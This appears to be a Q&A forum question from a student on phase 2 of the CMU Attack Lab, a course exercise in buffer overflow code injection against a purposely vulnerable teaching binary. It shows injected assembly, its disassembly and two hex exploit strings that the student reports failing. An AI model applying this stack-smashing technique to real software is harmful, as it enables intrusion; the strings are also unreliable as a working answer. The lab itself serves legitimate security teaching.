title: The Attack Lab phase 2 (Buffer Oveflow Attack)
body: <p>I have a buffer overflow lab I have to do for a project called <a href="http://csapp.cs.cmu.edu/3e/attacklab.pdf" rel="nofollow noreferrer">The Attack Lab</a>. I'm on phase 2 of the lab, and I have to inject code as part of my exploit string in order to make the program point to the address of the function touch2(). I've gotten the correct exploit code I need (confirmed with TA):</p>
  <pre><code>movq $0x4ed659a2,$rdi
  pushq $0x4018c3  //address of touch2
  ret
  </code></pre>
  <p>I compiled and disassemble this code:</p>
  <p><code>Disassembly of section .text:</code></p>
  <pre><code>   0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
     7:   68 c3 18 40 00          pushq  $0x4018c3
     c:   c3                      retq
  </code></pre>
  <p>I want to find the correct exploit string to pass into the program? The address of <code>%rsp</code> is <code>0x5560a188</code>.</p>
  <p>My TA said the comment of <a href="https://stackoverflow.com/questions/53255874/buffer-overflow-attack-the-attack-lab-phase-2">this discussion</a> is correct so I tried this exploit string</p>
  <pre><code>48 c7 c7 a2 59 d6 4e 00
  68 c3 18 40 00 00 00 00
  c3 00 00 00 00 00 00 00
  88 a1 60 55 00 00 00 00
  </code></pre>
  <p>but this is incorrect. It did not even reach <code>touch2</code>.</p>
  <p>Before that, I worked on the solution like this:</p>
  <pre><code>48 c7 c7 a2 59 d6 4e c3
  00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00
  88 a1 60 55 00 00 00 00
  c3 18 40 00 00 00 00 00
  </code></pre>
  <p>for</p>
  <pre><code>0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
  7:   c3                      retq
  </code></pre>
  <p>and got a segfault.</p>
  <p>I disassembled rtarget <a href="https://pastebin.com/cVVkG4JR" rel="nofollow noreferrer">here</a>. ctarget and rtarget behave the same.</p>
  <p>Thanks.</p>